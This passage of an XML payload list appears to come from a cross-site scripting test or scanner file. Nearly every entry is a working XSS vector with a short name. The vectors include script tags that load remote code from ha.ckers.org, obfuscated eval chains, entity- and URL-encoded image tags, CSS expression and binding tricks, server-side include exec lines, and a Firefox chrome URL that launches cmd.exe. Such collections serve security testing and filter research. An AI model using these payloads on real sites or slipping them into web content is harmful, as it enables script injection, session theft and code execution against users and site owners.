<code>navigatorurl:test" -chrome "javascript:C=Components.classes;I=Components.interfaces;file=C[\'@mozilla.org/file/local;1\'].createInstance(I.nsILocalFile);file.initWithPath(\'C:\'+String.fromCharCode(92)+String.fromCharCode(92)+\'Windows\'+String.fromCharCode(92)+String.fromCharCode(92)+\'System32\'+String.fromCharCode(92)+String.fromCharCode(92)+\'cmd.exe\');process=C[\'@mozilla.org/process/util;1\'].createInstance(I.nsIProcess);process.init(file);process.run(true%252c{}%252c0);alert(process)</code>
|
||
<name>navigatorurl: code execution</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><SCRIPT SRC=http://ha.ckers.org/xss.js</code>
|
||
<name>No Closing Script Tag</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><SCRIPT>a=/XSS/alert(a.source)</SCRIPT></code>
|
||
<name>No Quotes/Semicolons</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
|
||
<name>Non-Alpha/Non-Digit</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><BODY onload!#$%&()*~+-_.###:;?@[/|\]^`=alert("XSS")></code>
|
||
<name>Non-Alpha/Non-Digit Part 2</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code></noscript>
|
||
<code onmouseover=a=eval;b=alert;a(b(/h/.source));>MOVE MOUSE OVER THIS AREA</code></code>
|
||
<name>Noscript-breaker with mouseover</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out</code>
|
||
<name>Null Chars 1</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out</code>
|
||
<name>Null Chars 2</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><body onload=;;;;;;;;;;;_=alert;_(1);;;;</code>
|
||
<name>Obfuscated body onload vector</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>s1=0?'':'i';s2=0?'':'fr';s3=0?'':'ame';i1=s1+s2+s3;s1=0?'':'jav';s2=
|
||
0?'':'ascr';s3=0?'':'ipt';s4=0?'':':';s5=0?'':'ale';s6=0?'':'rt';s7=
|
||
0?'':'(1)';i2=s1+s2+s3+s4+s5+s6+s7;i=createElement(i1);i.src=i2;x=pa
|
||
rentNode;x.appendChild(i);</code>
|
||
<name>Obfuscated DOM element creation</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><body <body onload=;;;;;al:eval('al'+'ert(1)');;></code>
|
||
<name>Obfuscated double-body onload vector</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><IMGSRC=&#106;&#97;&#118;&#97;&<WBR>#115;&#99;&#114;&#105;&#112;&<WBR>#116;&#58;&#97;
|
||
&#108;&#101;&<WBR>#114;&#116;&#40;&#39;&#88;&#83<WBR>;&#83;&#39;&#41></code>
|
||
<name>Obfuscated image tag using dec entities</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><IMGSRC=&#x6A&#x61&#x76&#x61&#x73&<WBR>#x63&#x72&#x69&#x70&#x74&#x3A&<WBR>#x61&#x6C&#x65&#x72&#x74&#x28
|
||
&<WBR>#x27&#x58&#x53&#x53&#x27&#x29></code>
|
||
<name>Obfuscated image tag using hex entities</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><IMGSRC=&#0000106&#0000097&<WBR>#0000118&#0000097&#0000115&<WBR>#0000099&#0000114&#0000105&<WBR>#0000112&#0000116&#0000058
|
||
&<WBR>#0000097&#0000108&#0000101&<WBR>#0000114&#0000116&#0000040&<WBR>#0000039&#0000088&#0000083&<WBR>#0000083&#0000039&#0000041></code>
|
||
<name>Obfuscated image tag using long dec entities</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;
|
||
alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)></code>
|
||
<name>Obfuscated JS image source</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>(1?(1?{a:1?""[1?"ev\a\l":0](1?"\a\lert":0):0}:0).a:0)[1?"\c\a\l\l":0](content,1?"x\s\s":0)</code>
|
||
<name>Obfuscated name trigger for Firefox</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><body/s/onload=x={doc:parent.document};x.doc.writeln(1)</code>
|
||
<name>Obfuscated onload attribute variant 1</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><body/””$/onload=x={doc:parent['document']};x.doc.writeln(1)</code>
|
||
<name>Obfuscated onload attribute variant 2</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><body/""$/onload=x={doc:parent['document']};x.doc.writeln(1)</code>
|
||
<name>Obfuscated onload attribute variant 3</name>
|
||
<desc>(ah: added 05-dec-11)</desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>123[''+<_>ev</_>+<_>al</_>](''+<_>aler</_>+<_>t</_>+<_>(1)</_>);</code>
|
||
<name>Obfuscated XML predicate vector variation 1</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>s1=<s>evalalerta(1)a</s>,s2=<s></s>+'',s3=s1+s2,e1=/s/!=/s/?s3[0]:
|
||
0,e2=/s/!=/s/?s3[1]:0,e3=/s/!=/s/?s3[2]:0,e4=/s/!=/s/?s3[3]:0,e=/s/!=/
|
||
s/?0[e1+e2+e3+e4]:0,a1=/s/!=/s/?s3[4]:0,a2=/s/!=/s/?s3[5]:0,a3=/s/!=/
|
||
s/?s3[6]:0,a4=/s/!=/s/?s3[7]:0,a5=/s/!=/s/?s3[8]:0,a6=/s/!=/s/?s3[10]:
|
||
0,a7=/s/!=/s/?s3[11]:0,a8=/s/!=/s/?s3[12]:
|
||
0,a=a1+a2+a3+a4+a5+a6+a7+a8,1,e(a)</code>
|
||
<name>Obfuscated XML predicate vector variation 2</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>o={x:''+<s>eva</s>+<s>l</s>,y:''+<s>aler</s>+<s>t</s>+<s>(1)</
|
||
s>};function f() { 0[this.x](this.y) }f.call(o);</code>
|
||
<name>Obfuscated XML predicate vector variation 3</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>___=1?'ert(123)':0,_=1?'al':0,__=1?'ev':0,1[__+_](_+___)</code>
|
||
<name>Obfuscated XSS variant 1</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT></code>
|
||
<name>OBJECT</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT></code>
|
||
<name>OBJECT w/Embedded XSS</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>a="get";&#10;b="URL("";&#10;c="javascript:";&#10;d="alert('XSS');")";eval(a+b+c+d);</code>
|
||
<name>OBJECT w/Flash 2</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><A HREF="http://0102.0146.0007.00000223/">XSS</A></code>
|
||
<name>Octal Encoding</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>open(name)</code>
|
||
<name>Open string contained in name property</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><? echo('<SCR)';echo('IPT>alert("XSS")</SCRIPT>'); ?></code>
|
||
<name>PHP</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>alert(1)</code>
|
||
<name>Plain JavaScript alert</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><A HREF="//www.google.com/">XSS</A></code>
|
||
<name>Protocol Resolution Bypass</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><SCRIPT SRC=//ha.ckers.org/.j></code>
|
||
<name>Protocol resolution in script tags</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>0%0d%0a%00<script src=//h4k.in></code>
|
||
<name>RegExp based, and native C filter vector.</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>s1=''+'java'+''+'scr'+'';s2=''+'ipt'+':'+'ale'+'';s3=''+'rt'+''+'(1)
|
||
'+'';
|
||
u1=s1+s2+s3;URL=u1</code>
|
||
<name>Remote IE URL overloading</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"></code>
|
||
<name>Remote Stylesheet 1</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><STYLE>@import'http://ha.ckers.org/xss.css';</STYLE></code>
|
||
<name>Remote Stylesheet 2</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"></code>
|
||
<name>Remote Stylesheet 3</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE></code>
|
||
<name>Remote Stylesheet 4</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><A HREF="http://google.com/">XSS</A></code>
|
||
<name>Removing Cnames</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT></code>
|
||
<name>Rename .js to .jpg</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>res://c:\\program%20files\\adobe\\acrobat%207.0\\acrobat\\acrobat.dll/#2/#210</code>
|
||
<name>res:// installed software probing</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><SCRIPT>alert('XSS')</SCRIPT></code>
|
||
<name>SCRIPT w/Alert()</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT></code>
|
||
<name>SCRIPT w/Char Code</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT></code>
|
||
<name>SCRIPT w/Source File</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>a=0||'ev'+'al',b=0||location.hash,c=0||'sub'+'str',1[a](b[c](1))</code>
|
||
<name>Self-contained XSS variant 1</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>a=0||'ev'+'al'||0;b=0||'locatio';b+=0||'n.h'+'ash.sub'||0;b+=0||'str(1)';c=b[a];c(c(b))</code>
|
||
<name>Self-contained XSS variant 2</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>eval.call(this,unescape.call(this,location))</code>
|
||
<name>Self-contained XSS variant 3</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>d=0||'une'+'scape'||0;a=0||'ev'+'al'||0;b=0||'locatio';b+=0||'n'||0;c=b[a];d=c(d);c(d(c(b)))</code>
|
||
<name>Self-contained XSS variant 4</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>l= 0 || 'str',m= 0 || 'sub',x= 0 || 'al',y= 0 || 'ev',g= 0 || 'tion.h',f= 0 || 'ash',k= 0 || 'loca',d= (k) + (g) + (f),a</code>
|
||
<name>Self-contained XSS variant 5</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>_=eval,__=unescape,___=document.URL,_(__(___))</code>
|
||
<name>Self-contained XSS variant 6</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>$_=document,$__=$_.URL,$___=unescape,$_=$_.body,$_.innerHTML = $___(http=$__)</code>
|
||
<name>Self-contained XSS variant 7</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>$=document,$=$.URL,$$=unescape,$$$=eval,$$$($$($))</code>
|
||
<name>Self-contained XSS variant 8</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>evil=/ev/.source+/al/.source,changeProto=/Strin/.source+/g.prototyp/.source+/e.ss=/.source+/Strin/.source+/g.prototyp/.source+/e.substrin/.source+/g/.source,hshCod=/documen/.source+/t.locatio/.source+/n.has/.source+/h/.source;7[evil](changeProto);hsh=7[evil](hshCod),cod=hsh.ss(1);7[evil](cod)</code>
|
||
<name>Self-contained XSS variant 9</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>with(location)with(hash)eval(substring(1))</code>
|
||
<name>Self-containing XSS with no dots</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><IMG SRC=" &#14; javascript:alert('XSS');"></code>
|
||
<name>Spaces/Meta Chars</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"--></code>
|
||
<name>SSI</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><STYLE TYPE="text/javascript">alert('XSS');</STYLE></code>
|
||
<name>STYLE</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><style>
|
||
body:after{
|
||
content: “\61\6c\65\72\74\28\31\29″
|
||
}
|
||
</style>
|
||
<script>
|
||
eval(eval(document.styleSheets[0].cssRules[0].style.content))
|
||
</script></code>
|
||
<name>Style injection via content and double-eval</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><XSS STYLE="xss:expression(alert('XSS'))"></code>
|
||
<name>STYLE w/Anonymous HTML</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE></code>
|
||
<name>STYLE w/background</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A></code>
|
||
<name>STYLE w/background-image</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE></code>
|
||
<name>STYLE w/broken up JavaScript</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"></code>
|
||
<name>STYLE w/Comment</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><LINK REL="stylesheet" HREF="javascript:alert('XSS');"></code>
|
||
<name>Stylesheet</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>}</style><script>a=eval;b=alert;a(b(/i/.source));</script></code>
|
||
<name>Style-breaker using obfuscated JavaScript</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>>"'</code>
|
||
<name>Super basic HTML breaker 2</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>a=alert
|
||
a(0)</code>
|
||
<name>Super short XSS variant 1</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>A=alert;A(1)</code>
|
||
<name>Super short XSS variant 2</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><TABLE BACKGROUND="javascript:alert('XSS')"></TABLE></code>
|
||
<name>TABLE</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE></code>
|
||
<name>TD</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code></textarea>
|
||
<code onmouseover=a=eval;b=alert;a(b(/g/.source));>MOVE MOUSE OVER THIS AREA</code></code>
|
||
<name>Textarea-breaker with mouseover</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>'%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e'</code>
|
||
<name>Unicode encoded script tags</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>http://aa"><script>alert(123)</script></code>
|
||
<name>URL breaker for double quotes</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>http://aa'><script>alert(123)</script></code>
|
||
<name>URL breaker for single quotes</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>>%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22></code>
|
||
<name>URL encoded image source</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
|
||
</xss>
|